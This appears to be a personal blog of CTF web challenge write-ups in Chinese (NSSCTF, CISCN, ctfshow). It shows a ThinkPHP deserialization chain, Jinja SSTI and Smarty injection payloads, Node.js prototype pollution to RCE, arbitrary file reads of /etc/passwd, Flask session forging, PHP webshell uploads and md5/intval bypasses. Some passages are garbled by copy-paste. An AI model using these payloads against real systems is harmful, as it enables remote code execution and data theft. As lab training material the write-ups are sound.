1 O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22ls%3B%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22ls%3B%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
ls;cd /;ls;cat /nssctfflag;
1 http://ip:port/Index/test
1 a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A27%3A%22ls%3Bcd+%2F%3Bls%3Bcat+%2Fnssctfflag%3B%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A27%3A%22ls%3Bcd+%2F%3Bls%3Bcat+%2Fnssctfflag%3B%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
结语:利用链分析,比较难,需要继续深入。
0x11-[CISCN2019 华东南赛区]Double Secret 考点:ssti debug泄露代码
1 2 3 4 5 6 7 8 9 10 if (secret==None ): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTreasure" ) deS=rc.do_crypt(secret) a=render_template_string(safe(deS)) if 'ciscn' in a.lower(): return 'flag detected!' return a
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import stringfrom urllib.parse import quoteimport base64from rc4 import rc4import requestsdef main (text=None ): plaintext = input ('in:' ) key = 'HereIsTreasure' encrypted_data = rc4(plaintext,key) print (encrypted_data) print (quote(encrypted_data)) url = 'http://node1.anna.nssctf.cn:28789/secret?secret=' +quote(encrypted_data) res = requests.get(url=url).text print (res) if __name__ == '__main__' : while True : main() ''' {{{}.__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /;cat /flag.txt').read()")}} '''
1 .%14BH%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%91U%27%C2%B2m%C3%9F%3C5%C2%AE%2B%C2%9CP%C3%8F%3E%C3%A6%3E%C2%98H%C3%857%C3%8E%60%C2%AD%40%C2%8F%C3%94%C3%9F%231%C2%82%13%C2%AB%C2%B4RS%5D%C2%A5%15S%C2%903G%C3%86%C2%B8F%02%C3%8A%C2%AB%22%C3%BDv%05F%22%C3%A0C%C3%8F0%C3%AEo%C2%ACW%1E%03x%40%C2%99%C3%97W%C3%B0%C3%B4%C2%99%C3%B8%C3%A7%C2%8C%C3%B6/Z%C2%8C%C2%B8%C2%8D%C3%BF%C2%A8uU%C2%A0%C3%8D%1B%C2%94-D%1F%C3%9B%C3%8D%0D%3B6%0C%2A%C2%87%C3%AB%C2%9A6%3F%C3%A3%25%0F%14%C3%96.%C2%84%11%C2%96%C3%9F%C2%B6e%C3%AC%C2%A6Tm%C2%A2%C2%96m%C3%8AqP
结语:比较简单
0x12-[NSSRound#8 Basic]ez_node 考点:nodejs原型链污染、Balsn CTF 2022 参考:
https://www.ctfer.vip/problem/3484 //题目链接
http://gtg.ink/2023/02/11/ez-node-NSSCTF-round-8/ //出题人wp
https://hujiekang.top/posts/nodejs-require-rce/ //出题人 参考赛题分析,
https://blog.acheing.com/index.php/archives/4792/ //一个payload
https://blog.csdn.net/weixin_52585514/article/details/128985443 //参考wp
https://xz.aliyun.com/t/12383 //原型链污染 总结
https://blog.csdn.net/Charissa2017/article/details/105207422 //multer详解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 const express = require ("express" );const path = require ("path" );const fs = require ("fs" );const multer = require ("multer" );const PORT = process.env .port || 3000 const app = express ();global = "global" app.listen (PORT , () => { console .log (`listen at ${PORT} ` ); }); function merge (target, source ) { for (let key in source) { if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } } let objMulter = multer ({ dest : "./upload" });app.use (objMulter.any ()); app.use (express.static ("./public" )); app.post ("/upload" , (req, res ) => { try { let oldName = req.files [0 ].path ; let newName = req.files [0 ].path + path.parse (req.files [0 ].originalname ).ext ; fs.renameSync (oldName, newName); res.send ({ err : 0 , url : "./upload/" + req.files [0 ].filename + path.parse (req.files [0 ].originalname ).ext }); } catch (error){ res.send (require ('./err.js' ).getRandomErr ()) } }); app.post ('/pollution' , require ('body-parser' ).json (), (req, res ) => { let data = {}; try { merge (data, req.body ); res.send ('Register successfully!tql' ) require ('./err.js' ).getRandomErr () } catch (error){ res.send (require ('./err.js' ).getRandomErr ()) } })
payload
1 2 3 4 5 6 7 8 9 10 11 12 {"constructor" :{ "prototype" :{ "data" :{ "exports" :{ "." :"./123f8fee34d43ac4e726dd96712e3b4a.js" }, "name" :"./err.js" }, "path" :"./upload" } } }
1 2 3 4 5 6 obj={ getRandomErr :() => { return require ('child_process' ).execSync ('cat /flag' ) } } module .exports = obj
结语:看起来比较费劲,查了不少资料,还不完全明白。
0x13-[CISCN 2019华东南]Web11 参考:
https://www.cnblogs.com/rabbittt/p/13292242.html
https://yq1ng.github.io/2021/09/30/buu-ciscn2019-hua-dong-nan-sai-qu-web-fu-xian/#toc-heading-7
https://xz.aliyun.com/t/12220
此题,判断模板注入,以及判断是哪个引擎的模板注入还是有一些难度的。
主要是X-Forward-For参数可控,而且页面有回显IP地址,所以可以尝试注入;
PoC
1 X-Forward-For: {if phpinfo()}{/if}
exp
1 2 3 X-Forward-For: {if system('ls /')}{/if} X-Forward-For: {if readfile('/flag')}{/if} X-Forward-For: {if show_source('/flag')}{/if}
结语:比较简单,不过不太容易判断出来。
0x14-[CISCN 2019华东南]Web4 任意文件读取
1 http://node1.anna.nssctf.cn:28350/read?url=file:///etc/passwd
1 http://node1.anna.nssctf.cn:28350/read?url=local_file:///etc/passwd
file://不行、local_file://可以
1 root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin glzjin:x:1000:1000:Linux User,,,:/app:/bin/ash
读源码
1 http://node1.anna.nssctf.cn:28350/read?url=local_file:///app/app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! Read somethings' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str (ex) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
读取MAC地址
1 http://node1.anna.nssctf.cn:28350/read?url=local_file:///sys/class/net/eth0/address
看到这里,发现和前两天的一道题非常相似,可能那个出题人仿的这个题吧
flask_session_cookie_manager.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 import sysimport zlibfrom itsdangerous import base64_decodeimport astif sys.version_info[0 ] < 3 : raise Exception('Must be using at least Python 3' ) elif sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : from abc import ABCMeta, abstractmethod else : from abc import ABC, abstractmethod import argparsefrom flask.sessions import SecureCookieSessionInterfaceclass MockApp (object ): def __init__ (self, secret_key ): self.secret_key = secret_key if sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : class FSCM (metaclass=ABCMeta): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key==None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e else : class FSCM (ABC ): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key==None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e if __name__ == "__main__" : parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder' , epilog="Author : Wilson Sumanang, Alexandre ZANNI" ) subparsers = parser.add_subparsers(help ='sub-command help' , dest='subcommand' ) parser_encode = subparsers.add_parser('encode' , help ='encode' ) parser_encode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=True ) parser_encode.add_argument('-t' , '--cookie-structure' , metavar='<string>' , help ='Session cookie structure' , required=True ) parser_decode = subparsers.add_parser('decode' , help ='decode' ) parser_decode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=False ) parser_decode.add_argument('-c' , '--cookie-value' , metavar='<string>' , help ='Session cookie value' , required=True ) args = parser.parse_args() if (args.subcommand == 'encode' ): if (args.secret_key is not None and args.cookie_structure is not None ): print (FSCM.encode(args.secret_key, args.cookie_structure)) elif (args.subcommand == 'decode' ): if (args.secret_key is not None and args.cookie_value is not None ): print (FSCM.decode(args.cookie_value,args.secret_key)) elif (args.cookie_value is not None ): print (FSCM.decode(args.cookie_value))
对于key需要在python2中运行得到key
1 2 3 import randomrandom.seed(0x0242ac023be0 ) print (str (random.random()*233 ))
1 2 3 4 5 6 7 8 9 ┌──(kali㉿kali)-[~/Desktop] └─$ python2 Python 2.7.18 (default, Aug 1 2022, 06:23:55) [GCC 12.1.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import random >>> random.seed(0x0242ac023be0) >>> str(random.random()*233) '56.9297845566'
直接用这个跑了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import randomimport sysimport zlibfrom itsdangerous import base64_decodeimport astif sys.version_info[0 ] < 3 : raise Exception('Must be using at least Python 3' ) elif sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : from abc import ABCMeta, abstractmethod else : from abc import ABC, abstractmethod import argparsefrom flask.sessions import SecureCookieSessionInterfaceclass MockApp (object ): def __init__ (self, secret_key ): self.secret_key = secret_key class FSCM (ABC ): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key == None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e key = '56.9297845566' session = 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZFmwHQ.DbS-DhNeEKXwuvrFoz2AaTfNkBo' hack = '' res = FSCM.decode(session, key) print (res)m = "{'username': b'fuck'}" res = FSCM.encode(key,m) print (res)
得到session
1 eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZFmw6g.DcHDo-h8SOdZmmxqWn3j73ab8B8
访问/flag路由即可得到flag
结语:比前面做过的一个HDCTF的题简单了一些,应该就是根据这个题改的。
0x15-[ctfshow]php特性-web89 考点:preg_match、intval
参考-
https://blog.csdn.net/weixin_45551083/article/details/110494387
https://www.php.net/manual/zh/function.intval
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; } }
payload
preg_match
intval
1 2 3 1. intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。 2. 成功时返回 value 的 integer 值,失败时返回 0。 3. 空的 array 返回 0,非空的 array 返回 1。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php echo intval (42 ); echo intval (4.2 ); echo intval ('42' ); echo intval ('+42' ); echo intval ('-42' ); echo intval (042 ); echo intval ('042' ); echo intval (1e10 ); echo intval ('1e10' ); echo intval (0x1A ); echo intval (42000000 ); echo intval (420000000000000000000 ); echo intval ('420000000000000000000' ); echo intval (42 , 8 ); echo intval ('42' , 8 ); echo intval (array ()); echo intval (array ('foo' , 'bar' )); echo intval (false ); echo intval (true ); ?>
0x16-[ctfshow]php特性-web90 参考-
https://www.php.net/manual/zh/function.intval
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
payload
intval
1 2 3 4 5 注意: 如果 base 是 0,通过检测 value 的格式来决定使用的进制: 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则, 如果字符串以 "0" 开始,使用 8 进制(octal);否则, 将使用 10 进制 (decimal)。
0x17-[ctfshow]php特性-web91 参考-
https://blog.csdn.net/qq_46091464/article/details/108278486 //apache换行解析
https://blog.csdn.net/rfrder/article/details/112882464 //wp
https://blog.csdn.net/miuzzx/article/details/109168454#web9092939495_24 //wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php show_source (__FILE__ );include ('flag.php' );$a =$_GET ['cmd' ];if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo $flag ; } } else { echo 'nonononono' ; }
payload
1 2 3 ?cmd=abc%0aphp ?cmd=%0aphp ?cmd=php%0aphp
正则表达式修饰符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 i 不区分(ignore)大小写 m 多(more)行匹配 若存在换行\n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配 $str = "abc\nabc" ;$preg = "/^abc$/m" ;preg_match ($preg , $str ,$matchs );这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。 s 特殊字符圆点 . 中包含换行符 默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符 $str = "abggab\nacbs" ;$preg = "/b./s" ;preg_match_all ($preg , $str ,$matchs );这样匹配到的有三个 bg b\n bs A 强制从目标字符串开头匹配; D 如果使用$限制结尾字符,则不允许结尾有换行; e 配合函数preg_replace ()使用, 可以把匹配来的字符串当作正则表达式执行;
0x18-[ctfshow]php特性-web92 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
payload
1 intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
1 2 3 4 5 6 intval('4476.0')===4476 小数点 intval('+4476.0')===4476 正负号 intval('4476e0')===4476 科学计数法 intval('0x117c')===4476 16进制 intval('010574')===4476 8进制 intval(' 010574')===4476 8进制+空格
0x19-[ctfshow]周末大挑战1 and 4 1 ?u=http://system('cd ..;cd ..;cd ..;ls;cat flag_is_here.txt;');/123
1 ?u=http://cd ..;cd ..;cd ..;ls;cat 1_f1ag_1s_h3re;/123
结语:就看了这两个,等wp下来了再研究研究
0x20-[ctfshow]php特性-web93 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
hint
1 过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574
payload
0x21-[ctfshow]php特性-web94 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (!strpos ($num , "0" )){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
hint
1 在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0
payload
0x22-[ctfshow]php特性-web95 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]|\./i" , $num )){ die ("no no no!!" ); } if (!strpos ($num , "0" )){ die ("no no no!!!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
hint
1 可以通过8进制绕过但是前面必须多加一个字节 ?num=+010574或者?num=%2b010574
payload
1 2 ?num= 010574 ?num=+010574
0x23-[ctfshow]php特性-web96 考点:文件读取的姿势
1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );if (isset ($_GET ['u' ])){ if ($_GET ['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file ($_GET ['u' ]); } }
hint
1 在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php
payload
1 2 3 ?u=/var/www/html/flag.php ?u=./flag.php ?u=php://filter/resource=flag.php
0x24-[ctfshow]php特性-web97 考点:md5绕过
1 2 3 4 5 6 7 8 9 10 11 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;else print 'Wrong.' ;} ?>
hint
payload
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。payload:a[]=1&b[]=2
md5弱比较,使用了强制类型转换后不再接收数组
1 2 3 4 5 6 7 8 $a=(string)$a; $b=(string)$b; if( ($a!==$b) && (md5($a)==md5($b)) ){ echo $flag; } md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。 payload: a=QNKCDZO&b=240610708
md5强碰撞
1 2 3 4 5 6 7 8 9 $a=(string)$a; $b=(string)$b; if( ($a!==$b) && (md5($a)===md5($b)) ){ echo $flag; } 这时候需要找到两个真正的md5值相同数据 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
0x25-[ctfshow]php特性-web98 考点:三目运算符
1 2 3 4 5 6 7 <?php include ("flag.php" );$_GET ?$_GET =&$_POST :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_COOKIE :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_SERVER :'flag' ;highlight_file ($_GET ['HTTP_FLAG' ]=='flag' ?$flag :__FILE__ );?>
hint
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 https: <?php include ('flag.php' );if ($_GET ){$_GET =&$_POST ;址) }else { "flag" ;} i f ($_GET ['flag' ]=='flag' ){$_GET =&$_COOKIE ;}else { 'flag' ;1 2 3 4 5 6 7 8 9 10 11 所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag中间的代码没有作用,因为我们不提交 flag 参数 web99 payload: get : ?n=1 .php post:content=<?php system ($_POST [1 ]);?> web100 这道题基本上没有对参数进行过滤,所以直接执行命令 payload: web101 https: 考察使用函数打印对象里面的属性。 我们可以出100 的题里面看到提示,ctfshow.php里面就只有属性。并且最后的属性就是flag. 我们可以使用Reflectionclass类,打印类的结构 payload: } i f ($_GET ['flag' ]=='flag' ){$_GET =&$_SERVER ;}else { 'flag' ;} i f ($_GET ['HTTP_FLAG' ]=='flag' ){highlight_file ($flag );}else { highlight_file (__FILE__ );} 所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数
payload
1 get:1=1 post:HTTP_FLAG=flag
0x26-[ctfshow]php特性-web99 考点:in_array函数的漏洞
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); } if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); } ?>
hint
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file(__FILE__); $allow = array();//设置为数组 for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));//向数组里面插入随机数 } i f(isset($_GET['n']) && in_array($_GET['n'], $allow)){ //in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1 file_put_contents($_GET['n'], $_POST['content']); //写入1.php文件 内容是<?php system($_POST[1]);?> } ? > payload: get : ?n=1.php post:content=
payload
1 2 3 4 in_array延用了php中的== 具体内容可以查看php手册->附录->PHP类型比较表 因为新加进去的随机数字每次都包含1,1存在的几率是最大的。 所以直接写 n=1.php post:content=<?php eval($_POST[1]);?>多试几次即可
0x27-[ctfshow]php特性-web100 考点:and与&&的区别+反射类ReflectionClass的使用
参考:https://blog.csdn.net/miuzzx/article/details/109168454#web9092939495_24
https://blog.csdn.net/rfrder/article/details/112882464
